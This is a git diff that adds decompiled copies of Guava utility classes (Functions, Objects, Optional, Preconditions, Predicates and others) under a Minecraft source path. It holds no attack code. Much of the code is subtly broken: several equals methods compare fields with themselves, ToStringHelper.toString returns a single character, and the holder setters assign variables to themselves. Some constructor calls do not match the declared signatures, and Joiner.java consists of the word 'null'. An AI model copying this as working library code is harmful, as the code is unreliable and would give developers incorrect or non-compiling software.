+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Functions
+{
+  private Functions() {}
+  
+  public static Function<Object, String> toStringFunction()
+  {
+    return ToStringFunction.INSTANCE;
+  }
+  
+  private static enum ToStringFunction implements Function<Object, String>
+  {
+    INSTANCE;
+    
+    private ToStringFunction() {}
+    
+    public String apply(Object o) { Preconditions.checkNotNull(o);
+      return o.toString();
+    }
+    
+    public String toString() {
+      return "toString";
+    }
+  }
+  
+
+
+
+
+  public static <E> Function<E, E> identity()
+  {
+    return IdentityFunction.INSTANCE;
+  }
+  
+  private static enum IdentityFunction implements Function<Object, Object>
+  {
+    INSTANCE;
+    
+    private IdentityFunction() {}
+    
+    @Nullable
+    public Object apply(@Nullable Object o) { return o; }
+    
+    public String toString()
+    {
+      return "identity";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static <K, V> Function<K, V> forMap(Map<K, V> map)
+  {
+    return new FunctionForMapNoDefault(map);
+  }
+  
+  private static class FunctionForMapNoDefault<K, V> implements Function<K, V>, Serializable {
+    final Map<K, V> map;
+    private static final long serialVersionUID = 0L;
+    
+    FunctionForMapNoDefault(Map<K, V> map) { this.map = ((Map)Preconditions.checkNotNull(map)); }
+    
+
+    public V apply(@Nullable K key)
+    {
+      V result = map.get(key);
+      Preconditions.checkArgument((result != null) || (map.containsKey(key)), "Key '%s' not present in map", new Object[] { key });
+      return result;
+    }
+    
+    public boolean equals(@Nullable Object o) {
+      if ((o instanceof FunctionForMapNoDefault)) {
+        FunctionForMapNoDefault<?, ?> that = (FunctionForMapNoDefault)o;
+        return map.equals(map);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return map.hashCode();
+    }
+    
+    public String toString() {
+      return "forMap(" + map + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> Function<K, V> forMap(Map<K, ? extends V> map, @Nullable V defaultValue) { return new ForMapWithDefault(map, defaultValue); }
+  
+  private static class ForMapWithDefault<K, V> implements Function<K, V>, Serializable {
+    final Map<K, ? extends V> map;
+    final V defaultValue;
+    private static final long serialVersionUID = 0L;
+    
+    ForMapWithDefault(Map<K, ? extends V> map, @Nullable V defaultValue) {
+      this.map = ((Map)Preconditions.checkNotNull(map));
+      this.defaultValue = defaultValue;
+    }
+    
+    public V apply(@Nullable K key)
+    {
+      V result = map.get(key);
+      return (result != null) || (map.containsKey(key)) ? result : defaultValue;
+    }
+    
+    public boolean equals(@Nullable Object o) {
+      if ((o instanceof ForMapWithDefault)) {
+        ForMapWithDefault<?, ?> that = (ForMapWithDefault)o;
+        return (map.equals(map)) && (Objects.equal(defaultValue, defaultValue));
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return Objects.hashCode(new Object[] { map, defaultValue });
+    }
+    
+    public String toString() {
+      return "forMap(" + map + ", defaultValue=" + defaultValue + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <A, B, C> Function<A, C> compose(Function<B, C> g, Function<A, ? extends B> f) { return new FunctionComposition(g, f); }
+  
+  private static class FunctionComposition<A, B, C> implements Function<A, C>, Serializable {
+    private final Function<B, C> g;
+    private final Function<A, ? extends B> f;
+    private static final long serialVersionUID = 0L;
+    
+    public FunctionComposition(Function<B, C> g, Function<A, ? extends B> f) {
+      this.g = ((Function)Preconditions.checkNotNull(g));
+      this.f = ((Function)Preconditions.checkNotNull(f));
+    }
+    
+    public C apply(@Nullable A a)
+    {
+      return g.apply(f.apply(a));
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof FunctionComposition)) {
+        FunctionComposition<?, ?, ?> that = (FunctionComposition)obj;
+        return (f.equals(f)) && (g.equals(g));
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return f.hashCode() ^ g.hashCode();
+    }
+    
+    public String toString() {
+      return g + "(" + f + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static <T> Function<T, Boolean> forPredicate(Predicate<T> predicate)
+  {
+    return new PredicateFunction(predicate, null);
+  }
+  
+  private static class PredicateFunction<T> implements Function<T, Boolean>, Serializable {
+    private final Predicate<T> predicate;
+    private static final long serialVersionUID = 0L;
+    
+    private PredicateFunction(Predicate<T> predicate) {
+      this.predicate = ((Predicate)Preconditions.checkNotNull(predicate));
+    }
+    
+    public Boolean apply(@Nullable T t)
+    {
+      return Boolean.valueOf(predicate.apply(t));
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof PredicateFunction)) {
+        PredicateFunction<?> that = (PredicateFunction)obj;
+        return predicate.equals(predicate);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return predicate.hashCode();
+    }
+    
+    public String toString() {
+      return "forPredicate(" + predicate + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static <E> Function<Object, E> constant(@Nullable E value)
+  {
+    return new ConstantFunction(value);
+  }
+  
+  private static class ConstantFunction<E> implements Function<Object, E>, Serializable {
+    private final E value;
+    private static final long serialVersionUID = 0L;
+    
+    public ConstantFunction(@Nullable E value) { this.value = value; }
+    
+
+    public E apply(@Nullable Object from)
+    {
+      return value;
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof ConstantFunction)) {
+        ConstantFunction<?> that = (ConstantFunction)obj;
+        return Objects.equal(value, value);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return value == null ? 0 : value.hashCode();
+    }
+    
+    public String toString() {
+      return "constant(" + value + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  public static <T> Function<Object, T> forSupplier(Supplier<T> supplier)
+  {
+    return new SupplierFunction(supplier, null);
+  }
+  
+  private static class SupplierFunction<T> implements Function<Object, T>, Serializable
+  {
+    private final Supplier<T> supplier;
+    private static final long serialVersionUID = 0L;
+    
+    private SupplierFunction(Supplier<T> supplier) {
+      this.supplier = ((Supplier)Preconditions.checkNotNull(supplier));
+    }
+    
+    public T apply(@Nullable Object input) {
+      return supplier.get();
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof SupplierFunction)) {
+        SupplierFunction<?> that = (SupplierFunction)obj;
+        return supplier.equals(supplier);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return supplier.hashCode();
+    }
+    
+    public String toString() {
+      return "forSupplier(" + supplier + ")";
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Joiner.java b/src/minecraft/com/google/common/base/Joiner.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Joiner.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/google/common/base/Objects.java b/src/minecraft/com/google/common/base/Objects.java
new file mode 100644
index 0000000..8b5ce1f
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Objects.java
@@ -0,0 +1,435 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Arrays;
+import javax.annotation.CheckReturnValue;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Objects
+{
+  private Objects() {}
+  
+  @CheckReturnValue
+  public static boolean equal(@Nullable Object a, @Nullable Object b)
+  {
+    return (a == b) || ((a != null) && (a.equals(b)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int hashCode(@Nullable Object... objects)
+  {
+    return Arrays.hashCode(objects);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ToStringHelper toStringHelper(Object self)
+  {
+    return new ToStringHelper(simpleName(self.getClass()), null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static ToStringHelper toStringHelper(Class<?> clazz)
+  {
+    return new ToStringHelper(simpleName(clazz), null);
+  }
+  
+
+
+
+
+
+
+
+  public static ToStringHelper toStringHelper(String className)
+  {
+    return new ToStringHelper(className, null);
+  }
+  
+
+
+
+  private static String simpleName(Class<?> clazz)
+  {
+    String name = clazz.getName();
+    
+
+
+    name = name.replaceAll("\\$[0-9]+", "\\$");
+    
+
+    int start = name.lastIndexOf('$');
+    
+
+
+    if (start == -1) {
+      start = name.lastIndexOf('.');
+    }
+    return name.substring(start + 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> T firstNonNull(@Nullable T first, @Nullable T second)
+  {
+    return first != null ? first : Preconditions.checkNotNull(second);
+  }
+  
+
+
+
+  public static final class ToStringHelper
+  {
+    private final String className;
+    
+
+    private ValueHolder holderHead = new ValueHolder(null);
+    private ValueHolder holderTail = holderHead;
+    private boolean omitNullValues = false;
+    
+
+
+    private ToStringHelper(String className)
+    {
+      this.className = ((String)Preconditions.checkNotNull(className));
+    }
+    
+
+
+
+
+
+
+    public ToStringHelper omitNullValues()
+    {
+      omitNullValues = true;
+      return this;
+    }
+    
+
+
+
+
+
+    public ToStringHelper add(String name, @Nullable Object value)
+    {
+      return addHolder(name, value);
+    }
+    
+
+
+
+
+
+    public ToStringHelper add(String name, boolean value)
+    {
+      return addHolder(name, String.valueOf(value));
+    }
+    
+
+
+
+
+
+    public ToStringHelper add(String name, char value)
+    {
+      return addHolder(name, String.valueOf(value));
+    }
+    
+
+
+
+
+
+    public ToStringHelper add(String name, double value)
+    {
+      return addHolder(name, String.valueOf(value));
+    }
+    
+
+
+
+
+
+    public ToStringHelper add(String name, float value)
+    {
+      return addHolder(name, String.valueOf(value));
+    }
+    
+
+
+
+
+
+    public ToStringHelper add(String name, int value)
+    {
+      return addHolder(name, String.valueOf(value));
+    }
+    
+
+
+
+
+
+    public ToStringHelper add(String name, long value)
+    {
+      return addHolder(name, String.valueOf(value));
+    }
+    
+
+
+
+
+
+    public ToStringHelper addValue(@Nullable Object value)
+    {
+      return addHolder(value);
+    }
+    
+
+
+
+
+
+
+
+    public ToStringHelper addValue(boolean value)
+    {
+      return addHolder(String.valueOf(value));
+    }
+    
+
+
+
+
+
+
+
+    public ToStringHelper addValue(char value)
+    {
+      return addHolder(String.valueOf(value));
+    }
+    
+
+
+
+
+
+
+
+    public ToStringHelper addValue(double value)
+    {
+      return addHolder(String.valueOf(value));
+    }
+    
+
+
+
+
+
+
+
+    public ToStringHelper addValue(float value)
+    {
+      return addHolder(String.valueOf(value));
+    }
+    
+
+
+
+
+
+
+
+    public ToStringHelper addValue(int value)
+    {
+      return addHolder(String.valueOf(value));
+    }
+    
+
+
+
+
+
+
+
+    public ToStringHelper addValue(long value)
+    {
+      return addHolder(String.valueOf(value));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public String toString()
+    {
+      boolean omitNullValuesSnapshot = omitNullValues;
+      String nextSeparator = "";
+      StringBuilder builder = new StringBuilder(32).append(className).append('{');
+      
+      for (ValueHolder valueHolder = holderHead.next; valueHolder != null; 
+          valueHolder = next) {
+        if ((!omitNullValuesSnapshot) || (value != null)) {
+          builder.append(nextSeparator);
+          nextSeparator = ", ";
+          
+          if (name != null) {
+            builder.append(name).append('=');
+          }
+          builder.append(value);
+        }
+      }
+      return '}';
+    }
+    
+    private ValueHolder addHolder() {
+      ValueHolder valueHolder = new ValueHolder(null);
+      holderTail = (holderTail.next = valueHolder);
+      return valueHolder;
+    }
+    
+    private ToStringHelper addHolder(@Nullable Object value) {
+      ValueHolder valueHolder = addHolder();
+      value = value;
+      return this;
+    }
+    
+    private ToStringHelper addHolder(String name, @Nullable Object value) {
+      ValueHolder valueHolder = addHolder();
+      value = value;
+      name = ((String)Preconditions.checkNotNull(name));
+      return this;
+    }
+    
+    private static final class ValueHolder
+    {
+      String name;
+      Object value;
+      ValueHolder next;
+      
+      private ValueHolder() {}
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Optional.java b/src/minecraft/com/google/common/base/Optional.java
new file mode 100644
index 0000000..a7cb675
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Optional.java
@@ -0,0 +1,240 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.Iterator;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+public abstract class Optional<T>
+  implements Serializable
+{
+  private static final long serialVersionUID = 0L;
+  
+  public static <T> Optional<T> absent()
+  {
+    return Absent.withType();
+  }
+  
+
+
+  public static <T> Optional<T> of(T reference)
+  {
+    return new Present(Preconditions.checkNotNull(reference));
+  }
+  
+
+
+
+  public static <T> Optional<T> fromNullable(@Nullable T nullableReference)
+  {
+    return nullableReference == null ? absent() : new Present(nullableReference);
+  }
+  
+
+
+
+
+
+
+
+
+  Optional() {}
+  
+
+
+
+
+
+
+
+
+  public abstract boolean isPresent();
+  
+
+
+
+
+
+
+
+  public abstract T get();
+  
+
+
+
+
+
+
+
+  public abstract T or(T paramT);
+  
+
+
+
+
+
+
+
+  public abstract Optional<T> or(Optional<? extends T> paramOptional);
+  
+
+
+
+
+
+
+
+  @Beta
+  public abstract T or(Supplier<? extends T> paramSupplier);
+  
+
+
+
+
+
+
+
+  @Nullable
+  public abstract T orNull();
+  
+
+
+
+
+
+
+
+  public abstract Set<T> asSet();
+  
+
+
+
+
+
+
+
+  public abstract <V> Optional<V> transform(Function<? super T, V> paramFunction);
+  
+
+
+
+
+
+
+
+  public abstract boolean equals(@Nullable Object paramObject);
+  
+
+
+
+
+
+
+
+  public abstract int hashCode();
+  
+
+
+
+
+
+
+
+  public abstract String toString();
+  
+
+
+
+
+
+
+
+  @Beta
+  public static <T> Iterable<T> presentInstances(Iterable<? extends Optional<? extends T>> optionals)
+  {
+    Preconditions.checkNotNull(optionals);
+    new Iterable()
+    {
+      public Iterator<T> iterator() {
+        new AbstractIterator() {
+          private final Iterator<? extends Optional<? extends T>> iterator = (Iterator)Preconditions.checkNotNull(val$optionals.iterator());
+          
+
+          protected T computeNext()
+          {
+            while (iterator.hasNext()) {
+              Optional<? extends T> optional = (Optional)iterator.next();
+              if (optional.isPresent()) {
+                return optional.get();
+              }
+            }
+            return endOfData();
+          }
+        };
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/common/base/PairwiseEquivalence.java b/src/minecraft/com/google/common/base/PairwiseEquivalence.java
new file mode 100644
index 0000000..2f1a129
--- /dev/null
+++ b/src/minecraft/com/google/common/base/PairwiseEquivalence.java
@@ -0,0 +1,78 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.Iterator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class PairwiseEquivalence<T>
+  extends Equivalence<Iterable<T>>
+  implements Serializable
+{
+  final Equivalence<? super T> elementEquivalence;
+  private static final long serialVersionUID = 1L;
+  
+  PairwiseEquivalence(Equivalence<? super T> elementEquivalence)
+  {
+    this.elementEquivalence = ((Equivalence)Preconditions.checkNotNull(elementEquivalence));
+  }
+  
+  protected boolean doEquivalent(Iterable<T> iterableA, Iterable<T> iterableB)
+  {
+    Iterator<T> iteratorA = iterableA.iterator();
+    Iterator<T> iteratorB = iterableB.iterator();
+    
+    while ((iteratorA.hasNext()) && (iteratorB.hasNext())) {
+      if (!elementEquivalence.equivalent(iteratorA.next(), iteratorB.next())) {
+        return false;
+      }
+    }
+    
+    return (!iteratorA.hasNext()) && (!iteratorB.hasNext());
+  }
+  
+  protected int doHash(Iterable<T> iterable)
+  {
+    int hash = 78721;
+    for (T element : iterable) {
+      hash = hash * 24943 + elementEquivalence.hash(element);
+    }
+    return hash;
+  }
+  
+  public boolean equals(@Nullable Object object)
+  {
+    if ((object instanceof PairwiseEquivalence)) {
+      PairwiseEquivalence<?> that = (PairwiseEquivalence)object;
+      return elementEquivalence.equals(elementEquivalence);
+    }
+    
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return elementEquivalence.hashCode() ^ 0x46A3EB07;
+  }
+  
+  public String toString()
+  {
+    return elementEquivalence + ".pairwise()";
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Platform.java b/src/minecraft/com/google/common/base/Platform.java
new file mode 100644
index 0000000..34ff62e
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Platform.java
@@ -0,0 +1,45 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import java.lang.ref.WeakReference;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class Platform
+{
+  private Platform() {}
+  
+  static long systemNanoTime()
+  {
+    return System.nanoTime();
+  }
+  
+  static CharMatcher precomputeCharMatcher(CharMatcher matcher) {
+    return matcher.precomputedInternal();
+  }
+  
+  static <T extends Enum<T>> Optional<T> getEnumIfPresent(Class<T> enumClass, String value) {
+    WeakReference<? extends Enum<?>> ref = (WeakReference)Enums.getEnumConstants(enumClass).get(value);
+    return ref == null ? Optional.absent() : Optional.of(enumClass.cast(ref.get()));
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Preconditions.java b/src/minecraft/com/google/common/base/Preconditions.java
new file mode 100644
index 0000000..0f80e1e
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Preconditions.java
@@ -0,0 +1,443 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Preconditions
+{
+  private Preconditions() {}
+  
+  public static void checkArgument(boolean expression)
+  {
+    if (!expression) {
+      throw new IllegalArgumentException();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static void checkArgument(boolean expression, @Nullable Object errorMessage)
+  {
+    if (!expression) {
+      throw new IllegalArgumentException(String.valueOf(errorMessage));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void checkArgument(boolean expression, @Nullable String errorMessageTemplate, @Nullable Object... errorMessageArgs)
+  {
+    if (!expression) {
+      throw new IllegalArgumentException(format(errorMessageTemplate, errorMessageArgs));
+    }
+  }
+  
+
+
+
+
+
+
+  public static void checkState(boolean expression)
+  {
+    if (!expression) {
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void checkState(boolean expression, @Nullable Object errorMessage)
+  {
+    if (!expression) {
+      throw new IllegalStateException(String.valueOf(errorMessage));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void checkState(boolean expression, @Nullable String errorMessageTemplate, @Nullable Object... errorMessageArgs)
+  {
+    if (!expression) {
+      throw new IllegalStateException(format(errorMessageTemplate, errorMessageArgs));
+    }
+  }
+  
+
+
+
+
+
+
+  public static <T> T checkNotNull(T reference)
+  {
+    if (reference == null) {
+      throw new NullPointerException();
+    }
+    return reference;
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> T checkNotNull(T reference, @Nullable Object errorMessage)
+  {
+    if (reference == null) {
+      throw new NullPointerException(String.valueOf(errorMessage));
+    }
+    return reference;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> T checkNotNull(T reference, @Nullable String errorMessageTemplate, @Nullable Object... errorMessageArgs)
+  {
+    if (reference == null)
+    {
+      throw new NullPointerException(format(errorMessageTemplate, errorMessageArgs));
+    }
+    return reference;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int checkElementIndex(int index, int size)
+  {
+    return checkElementIndex(index, size, "index");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int checkElementIndex(int index, int size, @Nullable String desc)
+  {
+    if ((index < 0) || (index >= size)) {
+      throw new IndexOutOfBoundsException(badElementIndex(index, size, desc));
+    }
+    return index;
+  }
+  
+  private static String badElementIndex(int index, int size, String desc) {
+    if (index < 0)
+      return format("%s (%s) must not be negative", new Object[] { desc, Integer.valueOf(index) });
+    if (size < 0) {
+      throw new IllegalArgumentException("negative size: " + size);
+    }
+    return format("%s (%s) must be less than size (%s)", new Object[] { desc, Integer.valueOf(index), Integer.valueOf(size) });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int checkPositionIndex(int index, int size)
+  {
+    return checkPositionIndex(index, size, "index");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static int checkPositionIndex(int index, int size, @Nullable String desc)
+  {
+    if ((index < 0) || (index > size)) {
+      throw new IndexOutOfBoundsException(badPositionIndex(index, size, desc));
+    }
+    return index;
+  }
+  
+  private static String badPositionIndex(int index, int size, String desc) {
+    if (index < 0)
+      return format("%s (%s) must not be negative", new Object[] { desc, Integer.valueOf(index) });
+    if (size < 0) {
+      throw new IllegalArgumentException("negative size: " + size);
+    }
+    return format("%s (%s) must not be greater than size (%s)", new Object[] { desc, Integer.valueOf(index), Integer.valueOf(size) });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void checkPositionIndexes(int start, int end, int size)
+  {
+    if ((start < 0) || (end < start) || (end > size)) {
+      throw new IndexOutOfBoundsException(badPositionIndexes(start, end, size));
+    }
+  }
+  
+  private static String badPositionIndexes(int start, int end, int size) {
+    if ((start < 0) || (start > size)) {
+      return badPositionIndex(start, size, "start index");
+    }
+    if ((end < 0) || (end > size)) {
+      return badPositionIndex(end, size, "end index");
+    }
+    
+    return format("end index (%s) must not be less than start index (%s)", new Object[] { Integer.valueOf(end), Integer.valueOf(start) });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  static String format(String template, @Nullable Object... args)
+  {
+    template = String.valueOf(template);
+    
+
+    StringBuilder builder = new StringBuilder(template.length() + 16 * args.length);
+    int templateStart = 0;
+    int i = 0;
+    while (i < args.length) {
+      int placeholderStart = template.indexOf("%s", templateStart);
+      if (placeholderStart == -1) {
+        break;
+      }
+      builder.append(template.substring(templateStart, placeholderStart));
+      builder.append(args[(i++)]);
+      templateStart = placeholderStart + 2;
+    }
+    builder.append(template.substring(templateStart));
+    
+
+    if (i < args.length) {
+      builder.append(" [");
+      builder.append(args[(i++)]);
+      while (i < args.length) {
+        builder.append(", ");
+        builder.append(args[(i++)]);
+      }
+      builder.append(']');
+    }
+    
+    return builder.toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Predicate.java b/src/minecraft/com/google/common/base/Predicate.java
new file mode 100644
index 0000000..cd3ea93
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Predicate.java
@@ -0,0 +1,12 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface Predicate<T>
+{
+  public abstract boolean apply(@Nullable T paramT);
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+}
diff --git a/src/minecraft/com/google/common/base/Predicates.java b/src/minecraft/com/google/common/base/Predicates.java
new file mode 100644
index 0000000..af890d3
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Predicates.java
@@ -0,0 +1,652 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Predicates
+{
+  private Predicates() {}
+  
+  @GwtCompatible(serializable=true)
+  public static <T> Predicate<T> alwaysTrue()
+  {
+    return ObjectPredicate.ALWAYS_TRUE.withNarrowedType();
+  }
+  
+
+
+  @GwtCompatible(serializable=true)
+  public static <T> Predicate<T> alwaysFalse()
+  {
+    return ObjectPredicate.ALWAYS_FALSE.withNarrowedType();
+  }
+  
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <T> Predicate<T> isNull()
+  {
+    return ObjectPredicate.IS_NULL.withNarrowedType();
+  }
+  
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <T> Predicate<T> notNull()
+  {
+    return ObjectPredicate.NOT_NULL.withNarrowedType();
+  }
+  
+
+
+
+  public static <T> Predicate<T> not(Predicate<T> predicate)
+  {
+    return new NotPredicate(predicate);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <T> Predicate<T> and(Iterable<? extends Predicate<? super T>> components)
+  {
+    return new AndPredicate(defensiveCopy(components), null);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> Predicate<T> and(Predicate<? super T>... components)
+  {
+    return new AndPredicate(defensiveCopy(components), null);
+  }
+  
+
+
+
+
+
+
+  public static <T> Predicate<T> and(Predicate<? super T> first, Predicate<? super T> second)
+  {
+    return new AndPredicate(asList((Predicate)Preconditions.checkNotNull(first), (Predicate)Preconditions.checkNotNull(second)), null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T> Predicate<T> or(Iterable<? extends Predicate<? super T>> components)
+  {
+    return new OrPredicate(defensiveCopy(components), null);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <T> Predicate<T> or(Predicate<? super T>... components)
+  {
+    return new OrPredicate(defensiveCopy(components), null);
+  }
+  
+
+
+
+
+
+
+  public static <T> Predicate<T> or(Predicate<? super T> first, Predicate<? super T> second)
+  {
+    return new OrPredicate(asList((Predicate)Preconditions.checkNotNull(first), (Predicate)Preconditions.checkNotNull(second)), null);
+  }
+  
+
+
+
+
+  public static <T> Predicate<T> equalTo(@Nullable T target)
+  {
+    return target == null ? isNull() : new IsEqualToPredicate(target, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("Class.isInstance")
+  public static Predicate<Object> instanceOf(Class<?> clazz)
+  {
+    return new InstanceOfPredicate(clazz, null);
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("Class.isAssignableFrom")
+  @Beta
+  public static Predicate<Class<?>> assignableFrom(Class<?> clazz)
+  {
+    return new AssignableFromPredicate(clazz, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Predicate<T> in(Collection<? extends T> target)
+  {
+    return new InPredicate(target, null);
+  }
+  
+
+
+
+
+
+
+  public static <A, B> Predicate<A> compose(Predicate<B> predicate, Function<A, ? extends B> function)
+  {
+    return new CompositionPredicate(predicate, function, null);
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.util.regex.Pattern")
+  public static Predicate<CharSequence> containsPattern(String pattern)
+  {
+    return new ContainsPatternFromStringPredicate(pattern);
+  }
+  
+
+
+
+
+
+
+
+  @GwtIncompatible("java.util.regex.Pattern")
+  public static Predicate<CharSequence> contains(Pattern pattern)
+  {
+    return new ContainsPatternPredicate(pattern);
+  }
+  
+
+
+  static abstract enum ObjectPredicate
+    implements Predicate<Object>
+  {
+    ALWAYS_TRUE, 
+    
+
+
+
+
+
+
+
+    ALWAYS_FALSE, 
+    
+
+
+
+
+
+
+
+    IS_NULL, 
+    
+
+
+
+
+
+
+
+    NOT_NULL;
+    
+
+
+
+    private ObjectPredicate() {}
+    
+
+
+    <T> Predicate<T> withNarrowedType()
+    {
+      return this;
+    }
+  }
+  
+  private static class NotPredicate<T> implements Predicate<T>, Serializable {
+    final Predicate<T> predicate;
+    private static final long serialVersionUID = 0L;
+    
+    NotPredicate(Predicate<T> predicate) {
+      this.predicate = ((Predicate)Preconditions.checkNotNull(predicate));
+    }
+    
+    public boolean apply(@Nullable T t) {
+      return !predicate.apply(t);
+    }
+    
+    public int hashCode() { return predicate.hashCode() ^ 0xFFFFFFFF; }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof NotPredicate)) {
+        NotPredicate<?> that = (NotPredicate)obj;
+        return predicate.equals(predicate);
+      }
+      return false;
+    }
+    
+    public String toString() { return "Predicates.not(" + predicate.toString() + ")"; }
+  }
+  
+
+
+  private static final Joiner COMMA_JOINER = Joiner.on(',');
+  
+  private static class AndPredicate<T> implements Predicate<T>, Serializable {
+    private final List<? extends Predicate<? super T>> components;
+    private static final long serialVersionUID = 0L;
+    
+    private AndPredicate(List<? extends Predicate<? super T>> components) {
+      this.components = components;
+    }
+    
+    public boolean apply(@Nullable T t)
+    {
+      for (int i = 0; i < components.size(); i++) {
+        if (!((Predicate)components.get(i)).apply(t)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public int hashCode() { return components.hashCode() + 306654252; }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof AndPredicate)) {
+        AndPredicate<?> that = (AndPredicate)obj;
+        return components.equals(components);
+      }
+      return false;
+    }
+    
+    public String toString() { return "Predicates.and(" + Predicates.COMMA_JOINER.join(components) + ")"; }
+  }
+  
